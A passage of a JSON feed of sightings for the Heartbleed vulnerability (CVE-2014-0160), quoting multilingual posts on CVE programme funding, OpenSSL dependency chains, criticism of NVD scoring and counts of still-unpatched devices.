(\u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e)?\n\n*   CVE \u2013 \u0444\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438. \u041d\u0430 \u044d\u0442\u0438 ID \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0432\u0435\u043d\u0434\u043e\u0440\u044b, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442\u0430, \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u044b \u2013 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0432 \u0418\u0411.\n*   \u0420\u0438\u0441\u043a \u0445\u0430\u043e\u0441\u0430: \u0411\u0435\u0437 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u0438\u044f ID \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0447\u0430\u0442\u044c\u0441\u044f \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430, \u043a\u0430\u043a \u0432 \"\u0441\u0442\u0430\u0440\u044b\u0435 \u0434\u043e\u0431\u0440\u044b\u0435\" \u0432\u0440\u0435\u043c\u0435\u043d\u0430 \u0434\u043e CVE, \u043a\u043e\u0433\u0434\u0430 \u043a\u0430\u0436\u0434\u0430\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0437\u044b\u0432\u0430\u043b\u0430 \u043e\u0434\u043d\u0443 \u0438 \u0442\u0443 \u0436\u0435 \u0434\u044b\u0440\u0443 \u043f\u043e-\u0441\u0432\u043e\u0435\u043c\u0443. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044c\u0442\u0435 \u0441\u0435\u0431\u0435 \u043f\u0430\u0442\u0447\u0438\u043d\u0433 \u0438\u043b\u0438 \u043a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441 \u0432 \u0442\u0430\u043a\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 \u0431\u044b\u043b\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043e >40 000 \u043d\u043e\u0432\u044b\u0445 CVE!\n*   \u041d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u041d\u0435\u044f\u0441\u043d\u043e, \u0431\u0443\u0434\u0443\u0442 \u043b\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u043e\u0432\u044b\u0435 CVE, \u0431\u0443\u0434\u0435\u0442 \u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u0430\u0439\u0442 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b (cve.mitre.org), \u043a\u0430\u043a \u0431\u0443\u0434\u0443\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0431\u0430\u0437\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (NVD)? \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 CVE, \u043a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043d\u0430 GitHub.\n\n\u0427\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435? \u041f\u043e\u043a\u0430 \u043d\u0435\u044f\u0441\u043d\u043e. MITRE \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u043e \u0437\u0430\u044f\u0432\u0438\u043b\u0430 \u043e \u043f\u0440\u0438\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VulnCheck (\u043e\u0434\u0438\u043d \u0438\u0437 CNA \u2013 \u0446\u0435\u043d\u0442\u0440\u043e\u0432 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u0438\u044f CVE) \u043f\u0440\u0435\u0432\u0435\u043d\u0442\u0438\u0432\u043d\u043e \u0437\u0430\u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 1000 ID \u043d\u0430 2025 \u0433\u043e\u0434, \u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0445\u0432\u0430\u0442\u0438\u0442 \u043c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043d\u0430 1-2 \u043c\u0435\u0441\u044f\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b MITRE. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0448\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0432\u0441\u0435\u0439 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438 \u0438\u043b\u0438 \u043f\u043e\u0438\u0441\u043a \u043d\u043e\u0432\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0444\u0438\u043d\u0430\u043d\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f. \u041f\u0440\u0438\u0447\u0438\u043d\u0430 \u2013 \u043f\u043e\u0438\u0441\u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439 \u0422\u0440\u0430\u043c\u043f\u0430 \u0441\u0442\u0430\u0442\u0435\u0439 \u0434\u043b\u044f \u0443\u0440\u0435\u0437\u0430\u043d\u0438\u044f \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u044e\u0434\u0436\u0435\u0442\u0430.\n\n\u041f\u043e\u0445\u043e\u0436\u0435, \u0441\u043a\u043e\u0440\u043e \u0433\u043b\u0430\u0432\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0442\u0440\u0435\u043a\u0438\u043d\u0433\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u043d\u043e\u0432\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 Excel-\u0442\u0430\u0431\u043b\u0438\u0446\u0430 \ud83d\ude28\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 \u0421\u0438\u0441\u0430\u0434\u043c\u0438\u043d", "creation_timestamp": "2025-04-16T21:44:03.000000Z"}, {"uuid": "197d0e99-1561-44c6-ad48-19751c73c989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/reverseame/4752", "content": "Heartbleed \u2014 A deep dive into CVE-2014\u20130160 #Heartbleed #CVE20140160 #OpenSSL #Metasploit #SecureCoding https://medium.com/@misterxcrypt/heartbleed-a-deep-dive-into-cve-2014-0160-9b9f730601ec", "creation_timestamp": "2026-08-02T06:14:58.123927Z"}, {"uuid": "e2788669-68c3-4483-9937-16f1299810d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/AstraLinuxSE/340", "content": "\u041f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0432 Linux:\n\n\u0412\u043e\u0437\u044c\u043c\u0435\u043c \u043f\u0430\u043a\u0435\u0442 curl \u2014 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443.\n\u041e\u043d \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 OpenSSL (\u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 HTTPS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\ncurl (\u043a\u043b\u0438\u0435\u043d\u0442 \u0434\u043b\u044f URL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432)\n\u2192 \u0417\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libcurl4 (\u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430)\n\u2192 libcurl4 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 openssl (\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435)\n\u2192 openssl \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libssl3 (\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f TLS/SSL)\n\u2192 libssl3 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libc6 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 C).\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438?\n\u0415\u0441\u043b\u0438 \u0432 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b, \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f curl, wget, \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 apt.\n\n\u041f\u0440\u0438\u043c\u0435\u0440: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160) \u0432 OpenSSL \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0438\u0441\u0442\u0435\u043c.", "creation_timestamp": "2026-08-04T13:00:26.420383Z"}, {"uuid": "fa451efe-fe66-4008-8286-6c8435fbc856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://bsky.app/profile/golangoss.bsky.social/post/3ms4czwxqhd2t", "content": "heartbleeder (\u2b50\ufe0f 452)\n\nOpenSSL CVE-2014-0160 Heartbleed vulnerability test\n\n#go", "creation_timestamp": "2026-08-02T15:41:04.218179Z"}, {"uuid": "60726139-152a-4dce-aba1-a769458fb984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/hn_best_comments/19085", "content": "Re: The Bogus CVE Problem\n        \nThis resonates. Unfortunately, the CVE database(s) are too noisy to be useful. It could benefit from higher standards and more thorough vetting. (Maybe take some lessons from academia.)\n\nA \"security researcher\" once filed a CVE for a regular bug in Caddy [0], making claims that were totally provably false. It was assigned 7.5... the same as Heartbleed [1] -- yes, the one that leaked almost all the private encryption keys on the Internet back in 2014. When I appealed to NVD for retraction (or whatever they do in this case), I never heard back, despite several emails / form submissions. It is not well-maintained. It is poorly managed. There is virtually no oversight. NVD is a trainwreck.\n\nMore recently I inadvertently discovered a 0-day RCE in acme.sh [2]. (ACME clients are security-sensitive contexts since they typically deal with private keys and download signed credentials.) Anyway, it was assigned a CVSS 3.x score of * 9.8 * [3] -- I imagine that should be like \"cyber-nuclear meltdown\" territory, but no, this was actually benign as far as we can tell. Probably deserves more like a 4 or 5 or something. So, again: There is virtually no oversight. NVD is a trainwreck.\n\nAnyway, the whole system is broken, and I'm effectively ignoring CVEs now. But if someone just tells me to patch my , I'll probably do it, and that's good enough for me.\n\n[0]: https://github.com/caddyserver/caddy/issues/4775\n\n[1]: https://nvd.nist.gov/vuln/detail/cve-2014-0160\n\n[2]: https://matt.life/writing/the-acme-protocol-in-practice-and-reality\n\n[3]: https://nvd.nist.gov/vuln/detail/CVE-2023-38198\n        \nmholt, 1 day ago", "creation_timestamp": "2026-08-01T08:00:04.697276Z"}, {"uuid": "ddc0eb46-7da8-47bf-8398-2fd1f60aa85c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "https://t.me/AstraLinuxSE/340", "content": "\u041f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0432 Linux:\n\n\u0412\u043e\u0437\u044c\u043c\u0435\u043c \u043f\u0430\u043a\u0435\u0442 curl \u2014 \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443.\n\u041e\u043d \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 OpenSSL (\u0434\u043b\u044f \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 HTTPS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0438\u043c\u0435\u0435\u0442 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439\ncurl (\u043a\u043b\u0438\u0435\u043d\u0442 \u0434\u043b\u044f URL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432)\n\u2192 \u0417\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libcurl4 (\u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430)\n\u2192 libcurl4 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 openssl (\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435)\n\u2192 openssl \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libssl3 (\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f TLS/SSL)\n\u2192 libssl3 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 libc6 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 C).\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438?\n\u0415\u0441\u043b\u0438 \u0432 OpenSSL \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043f\u0430\u043a\u0435\u0442\u044b, \u0437\u0430\u0432\u0438\u0441\u044f\u0449\u0438\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e, \u0432\u043a\u043b\u044e\u0447\u0430\u044f curl, wget, \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0438 \u0434\u0430\u0436\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 apt.\n\n\u041f\u0440\u0438\u043c\u0435\u0440: \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Heartbleed (CVE-2014-0160) \u0432 OpenSSL \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u0447\u0442\u043e \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u043e \u043c\u0438\u043b\u043b\u0438\u043e\u043d\u044b \u0441\u0438\u0441\u0442\u0435\u043c.", "creation_timestamp": "2026-08-05T00:00:42.163412Z"}, {"uuid": "efdec4f4-d360-43ea-ad32-61d9d5f44c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "seen", "source": "Telegram/RsMUBraRE6ODJwgoXHQZyogHp2QU70bvh1hcrVwAH7ntg88", "content": "", "creation_timestamp": "2026-05-26T03:00:05.000000Z"}, {"uuid": "d0af8323-feef-4972-8be6-7bbeb134c1b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-0160", "type": "exploited", "source": "https://t.me/KaitNews/2783", "content": "\u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f7 \u0647\u0645\u0686\u0646\u0627\u0646 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647\u200c \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f \n\n\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\ud83d\udc9b\ud83d\udcbb\n\n\u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u062f\u0648 \u0633\u0627\u0644 \u0648 \u0646\u0647 \u0645\u0627\u0647 \u0627\u0632 \u0627\u0641\u0634\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u06af\u0630\u0634\u062a\u0647 \u0648 \u0647\u0646\u0648\u0632 \u0647\u0645 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0633\u0627\u0645\u0627\u0646\u0647 \u062f\u0627\u0631\u0627\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0647\u0633\u062a\u0646\u062f. \n\n\u062a\u0644\u0627\u0634\u200e\u0647\u0627 \u0628\u0631\u0627\u06cc \u0648\u0635\u0644\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0632 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f4 \u062a\u0627\u06a9\u0646\u0648\u0646 \u06a9\u0627\u0647\u0634 \u06cc\u0627\u0641\u062a\u0647 \u0627\u0633\u062a. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f4-\u06f0\u06f1\u06f6\u06f0 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc OpenSSL \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0647 \u0648 \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062c\u0627\u0632\u0647\u200c\u06cc \u0633\u0631\u0642\u062a \u06af\u0630\u0631\u0648\u0627\u0698\u0647\u200c\u0647\u0627\u060c \u06a9\u0648\u06a9\u06cc\u200c\u0647\u0627\u06cc \u0648\u0631\u0648\u062f\u060c \u06a9\u0644\u06cc\u062f\u0647\u0627\u06cc \u062e\u0635\u0648\u0635\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0648 \u0633\u0627\u06cc\u0631 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u0631\u0627 \u0645\u06cc\u200c\u062f\u0647\u062f. \n\n\u067e\u0648\u06cc\u0634\u200c\u0647\u0627\u06cc \u0627\u0628\u0632\u0627\u0631 Shodan \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u0646\u0632\u062f\u06cc\u06a9 \u0628\u0647 \u06f2\u06f0\u06f0 \u0647\u0632\u0627\u0631 \u0646\u0645\u0648\u0646\u0647\u200c\u06cc OpenSSL \u0648\u0635\u0644\u0647 \u0646\u0634\u062f\u0647 \u0648 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0647\u0633\u062a\u0646\u062f. \u0627\u06cc\u0646 \u067e\u0648\u06cc\u0634 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06f4\u06f2\u06f0\u06f3\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0645\u0631\u06cc\u06a9\u0627\u060c \u06f1\u06f5\u06f3\u06f8\u06f0 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u06a9\u0631\u0647\u060c \u06f1\u06f4\u06f1\u06f1\u06f6 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0686\u06cc\u0646 \u0648 \u06f1\u06f4\u06f0\u06f7\u06f2 \u0633\u0631\u0648\u06cc\u0633 \u062f\u0631 \u0622\u0644\u0645\u0627\u0646 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062e\u0637\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f.\n\n\u062a\u0642\u0631\u06cc\u0628\u0627\u064b \u06f7\u06f5 \u0647\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 \u0627\u0632 \u06af\u0648\u0627\u0647\u06cc\u200c\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u0642\u0636\u06cc\u200c\u0634\u062f\u0647\u200c\u06cc SSL \u0648 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u06f3.x \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f. \u06cc\u06a9 \u0633\u0627\u0644 \u0642\u0628\u0644 \u06f1\u06f0 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 \u0633\u0631\u0648\u06cc\u0633 OpenSSL VPN \u0647\u0646\u0648\u0632 \u062f\u0627\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc Heartbleed \u0628\u0648\u062f\u0646\u062f. \n\n\u0645\u0627\u062c\u0631\u0627\u06cc \u0648\u0635\u0644\u0647 \u0646\u06a9\u0631\u062f\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627 \u0627\u0632 \u0622\u0646 \u0686\u06cc\u0632\u06cc \u06a9\u0647 \u0641\u06a9\u0631 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0628\u062f\u062a\u0631 \u0627\u0633\u062a. \u0627\u0632 \u062a\u06cc\u0631 \u0645\u0627\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0634\u0646\u0627\u062e\u062a\u0647\u200c\u0634\u062f\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u06a9\u0647 \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f1\u06f2 \u0631\u0627 \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f. \u0627\u06cc\u0646 \u0646\u0634\u0627\u0646 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0647\u06cc\u0686 \u062a\u0648\u062c\u0647\u06cc \u0628\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0646\u062f\u0627\u0631\u0646\u062f\u060c \u06a9\u0627\u0631\u06cc \u06a9\u0647 \u062d\u062a\u06cc \u062f\u0632\u062f\u0627\u0646 \u062f\u0631\u06cc\u0627\u06cc\u06cc \u0647\u0645 \u0622\u0646 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f. \n\n\u0631\u062f\u0645\u0648\u0646\u062f \u062f\u0631 \u0633\u0627\u0644 \u06f2\u06f0\u06f1\u06f5 \u0647\u0634\u062f\u0627\u0631 \u062f\u0627\u062f \u06a9\u0647 